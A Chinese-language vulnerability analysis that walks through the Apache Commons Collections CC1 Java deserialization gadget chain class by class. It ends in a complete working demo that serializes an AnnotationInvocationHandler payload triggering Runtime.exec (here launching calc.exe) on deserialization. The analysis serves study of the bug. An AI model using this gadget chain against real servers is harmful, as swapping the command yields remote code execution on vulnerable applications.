0x01 漏洞描述

Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使用了Apache Commons Collections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响。
反序列化攻击成功的关键在于我们可以传入可控的反序列数据,并且目标存在可被利用的攻击链。这里以P牛的CC链为例,分析反序列化漏洞。CC链只能在 jdk 8u71 之前的版本使用。jdk8u71版本中改写了sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法。

0x02 漏洞分析

CC反序列化攻击链的关键在于Transformer接口,提供了transform方法,该攻击链便由实现该接口的四个类:ConstantTransformerinvokerTransformerChainedTransformerTransformedMap

ConstantTransformer

简化后的ConstantTransformer类如下,该类进行常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。该类的transform方法会返回构造函数传入的对象本身,跟调用该方法传入的参数无关。

  1. public class ConstantTransformer implements Transformer, Serializable {
  2. /** The closures to call in turn */
  3. private final Object iConstant;
  4. public ConstantTransformer(Object constantToReturn) {
  5. super();
  6. iConstant = constantToReturn;
  7. }
  8. public Object transform(Object input) {
  9. return iConstant;
  10. }
  11. }

invokerTransformer

简化的invokerTransformer类如下,InvokerTransformer类transform方法实现了类方法动态调用,即采用反射机制动态调用类方法(反射方法名、参数值均可控)并返回该方法执行结果。可能理解起来会有点困难,该方法相当于只是将调用方法的方式变更成了用反射的方式,其实跟直接调用逻辑并没有什么不同。

  1. public class InvokerTransformer implements Transformer, Serializable {
  2. /** 要调用的方法名称 */
  3. private final String iMethodName;
  4. /** 反射参数类型数组 */
  5. private final Class[] iParamTypes;
  6. /** 反射参数值数组 */
  7. private final Object[] iArgs;
  8. public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  9. super();
  10. iMethodName = methodName;
  11. iParamTypes = paramTypes;
  12. iArgs = args;
  13. }
  14. public Object transform(Object input) {
  15. if (input == null) {
  16. return null;
  17. }
  18. try {
  19. // 获取输入类的类对象
  20. Class cls = input.getClass();
  21. // 通过输入的方法名和方法参数,获取指定的反射方法对象
  22. Method method = cls.getMethod(iMethodName, iParamTypes);
  23. // 反射调用指定的方法并返回方法调用结果
  24. return method.invoke(input, iArgs);
  25. } catch (Exception ex) {
  26. // 省去异常处理部分代码
  27. }
  28. }
  29. }

例如本地调用计算器,在构造函数的时候传入要反射调用的方法名和参数,在调用transform方法时才传入具体的类。相当于:Runtime.getRuntime().exec("calc.exe"),返回值为Process对象。

  1. public static void main(String[] args) {
  2. // 定义需要执行的本地系统命令
  3. String cmd = "calc.exe";
  4. // 构建transformer对象
  5. InvokerTransformer transformer = new InvokerTransformer(
  6. "exec", new Class[]{String.class}, new Object[]{cmd}
  7. );
  8. // 传入Runtime实例,执行对象转换操作
  9. transformer.transform(Runtime.getRuntime());
  10. }

ChainedTransformer

ChainedTransformer类封装了Transformer的链式调用,在构造时需要传入一个Transformer数组,ChainedTransformer就会依次调用每一个Transformer的transform方法。简化后的类如下:

  1. public class ChainedTransformer implements Transformer, Serializable {
  2. /** The transformers to call in turn */
  3. private final Transformer[] iTransformers;
  4. public ChainedTransformer(Transformer[] transformers) {
  5. super();
  6. iTransformers = transformers;
  7. }
  8. public Object transform(Object object) {
  9. for (int i = 0; i < iTransformers.length; i++) {
  10. object = iTransformers[i].transform(object);
  11. }
  12. return object;
  13. }
  14. }

使用ChainedTransformer构造本地调用计算器实例:

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[]{
  4. String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
  5. ),
  6. new InvokerTransformer("invoke", new Class[]{
  7. Object.class, Object[].class}, new Object[]{null, new Object[0]}
  8. ),
  9. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
  10. };
  11. // 创建ChainedTransformer调用链对象
  12. Transformer transformedChain = new ChainedTransformer(transformers);
  13. // 执行对象转换操作
  14. Object transform = transformedChain.transform(null);
  1. 第一个ConstantTransformer.transform()方法:
    1. 参数:null
    2. 返回值:Runtime.class
  2. 第二个InvokerTransformer.transform()方法:
    1. 参数:Runtime.class
    2. Method method = Runtime.class.getMethod(“getRuntime”)
    3. 返回值:java.lang.reflect.method对象
  3. 第三个InvokerTransformer.transform()方法:
    1. 参数:java.lang.reflect.Method method
    2. Runtime runtime = method.invoke(null) //此处需要注意invoke()方法传入参数为null
    3. 返回值:Runtime对象
  4. 第四个InvokerTransformer.transform()方法:
    1. 参数:Runtime对象
    2. Process process = runtime.exec(cmd)
    3. 返回值:Process对象

对于步骤3中invoke()传入对象为null。因为method.invoke的第一个参数必须是类实例对象,如果调用的是static方法那么第一个参数值可以传null,因为在java中调用静态方法是不需要有类实例的,因为可以直接类名.方法名(参数)的方式调用。实际调用的静态方法:public static Runtime getRuntime()

TransformedMap

TransformedMap类间接的实现了java.util.Map接口,同时支持对Map的key或者value进行Transformer转换,调用decorate和decorateTransform方法就可以创建一个TransformedMap,只要调用TransformedMap的setValue/put/putAll中的任意方法都会调用InvokerTransformer类的transform方法,使用TransformedMap触发transform方法:

  1. public static void transformmapTest(){
  2. String cmd = "calc.exe";
  3. Transformer[] transformers = new Transformer[]{
  4. new ConstantTransformer(Runtime.class),
  5. new InvokerTransformer("getMethod", new Class[]{
  6. String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
  7. ),
  8. new InvokerTransformer("invoke", new Class[]{
  9. Object.class, Object[].class}, new Object[]{null, new Object[0]}
  10. ),
  11. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
  12. };
  13. // 创建ChainedTransformer调用链对象
  14. Transformer transformedChain = new ChainedTransformer(transformers);
  15. // 创建Map对象
  16. Map map = new HashMap();
  17. map.put("value", "value");
  18. // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
  19. Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
  20. // transformedMap.put("v1", "v2");// 执行put也会触发transform
  21. // 遍历Map元素,并调用setValue方法
  22. for (Object obj : transformedMap.entrySet()) {
  23. Map.Entry entry = (Map.Entry) obj;
  24. // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
  25. entry.setValue("test");
  26. }
  27. System.out.println(transformedMap);
  28. }
  1. 跟进setValue()方法,会跟到checkSetValue()方法,该方法会对valueTransformer即我们传入的ChainedTransformer调用transform()方法。<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/479381/1649249920983-b882f34c-45ca-4c2a-8ce3-5f973d39971c.png#clientId=u9d84d4b0-15fc-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=106&id=uf56a6503&margin=%5Bobject%20Object%5D&name=image.png&originHeight=211&originWidth=1285&originalType=binary&ratio=1&rotation=0&showTitle=false&size=32512&status=done&style=shadow&taskId=ua7e20fa5-4867-40cd-9ff7-ea30f91cb2f&title=&width=642.5)<br />由于我们的ChainedTransformer中第一个Transformer是ConstantTransformer,其transform方法传入任何参数都是没有意义的,也就不会影响到攻击链。

AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMap中MapEntry的setValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。
image.png
完整的demo如下:

  1. public static void demo(){
  2. String cmd = "calc.exe";
  3. Transformer[] transformers = new Transformer[]{
  4. new ConstantTransformer(Runtime.class),
  5. new InvokerTransformer("getMethod", new Class[]{
  6. String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
  7. ),
  8. new InvokerTransformer("invoke", new Class[]{
  9. Object.class, Object[].class}, new Object[]{null, new Object[0]}
  10. ),
  11. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
  12. };
  13. // 创建ChainedTransformer调用链对象
  14. Transformer transformedChain = new ChainedTransformer(transformers);
  15. // 创建Map对象
  16. Map map = new HashMap();
  17. map.put("value", "value");
  18. // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
  19. Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
  20. try {
  21. // 获取AnnotationInvocationHandler类对象
  22. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  23. // 获取AnnotationInvocationHandler类的构造方法
  24. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  25. // 设置构造方法的访问权限
  26. constructor.setAccessible(true);
  27. // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
  28. // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
  29. Object instance = constructor.newInstance(Retention.class, transformedMap);
  30. // 创建用于存储payload的二进制输出流对象
  31. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  32. // 创建Java对象序列化输出流对象
  33. ObjectOutputStream out = new ObjectOutputStream(baos);
  34. // 序列化AnnotationInvocationHandler类
  35. out.writeObject(instance);
  36. out.flush();
  37. out.close();
  38. // 获取序列化的二进制数组
  39. byte[] bytes = baos.toByteArray();
  40. // 输出序列化的二进制数组
  41. System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));
  42. // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
  43. ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
  44. // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
  45. ObjectInputStream in = new ObjectInputStream(bais);
  46. // 模拟远程的反序列化过程
  47. in.readObject();
  48. // 关闭ObjectInputStream输入流
  49. in.close();
  50. } catch (Exception e) {
  51. e.printStackTrace();
  52. }
  53. }

其中创建AnnotationInvocationHandler对象时,传入的第一个参数为Repeatable.class、Retention.class或Target.class都可。同时,创建Hashmap时传入的key必须为value,为类中的方法名称。
image.png